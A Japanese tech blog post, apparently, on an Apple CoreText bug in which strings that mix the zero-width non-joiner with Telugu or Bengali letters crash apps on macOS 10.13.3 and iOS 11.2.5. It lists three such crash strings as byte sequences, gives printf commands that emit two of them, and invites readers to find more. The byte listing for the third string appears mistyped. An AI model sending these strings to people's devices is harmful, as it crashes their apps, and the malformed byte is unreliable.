macOS 10.13/iOS 11のゼロ幅非接合子処理の不具合を利用しアプリをクラッシュさせる文字列が複数発見されているようです。詳細は以下から。
2018年02月12日にPSPDFKitの開発者Peter Steinbergerさんによって報告されたバグは、AppleのCoreTextがゼロ幅非接合子(以下、ZWNJ)を正しく処理できていないために、ZWNJと特定のUnicodeを含んだ文字列が表示されるとmacOS 10.13.3/iOS 11.2.5/watchOS 4.2/tvOS 11.2.5デバイスのアプリをクラッシュさせることが出来ますが、
当初報告された文字列以外にもmacOS 10.13.3やiOS 11.2.5などのアプリをクラッシュさせる事が出来るZWNJを含んだ文字列が複数発見されているそうです。
検証
現在報告されているのは以下の3パターンの文字列で、インドで利用されているテルグ語(Telugu)以外にも、バングラデシュなどで利用されているベンガル語(Bengali)とZWNJを組み合わせることで、アプリをクラッシュさせることが出来るので、興味のある方は新しい文字列を探してみて下さい。
文字列1
- U+0C1C : consonant ja (జ) : \xe0\xb0\x9c
- U+0C4D : virama ( ్ ) : \xe0\xb1\x8d
- U+0C1E : consonant nya (ఞ) : \xe0\xb0\x9e
- U+200C : Zero-Width Non-Joiner : \xe2\x80\x8c
- U+0C3E : vowel aa ( ా) : \xe0\xb0\xbe
printf '\xe0\xb0\x9c\xe0\xb1\x8d\xe0\xb0\x9e\xe2\x80\x8c\xe0\xb0\xbe'
文字列2
- U+0C1C : consonant ja (జ) : \xe0\xb0\x9c
- U+0C4D : virama ( ్ ) : \xe0\xb1\x8d
- U+0C1E : consonant nya (ఞ) : \xe0\xb0\x9e
- U+200C : Zero-Width Non-Joiner : \xe2\x80\x8c
- U+0C3F : vowel sign i ( ి) : \xe0\xb0\xbf
printf '\xe0\xb0\x9c\xe0\xb1\x8d\xe0\xb0\x9e\xe2\x80\x8c\xe0\xb0\xbf'
文字列3
ターミナルアプリはクラッシュしないものの、特定のアプリはクラッシュするもよう。
- U+09B8 : bengali letter sa (স) : \xe0\xa6\xb8
- U+09CD : bengali sign virama (্ ) : \xe0\xa7\x8d
- U+09B0 : bengali letter ra (র) : \xe0\xa6\b0
- U+200C : Zero-Width Non-Joiner : \xe2\x80\x8c
- U+09C1 : bengali vowel sign u (ু) : \xe0\xa7\x81
コメント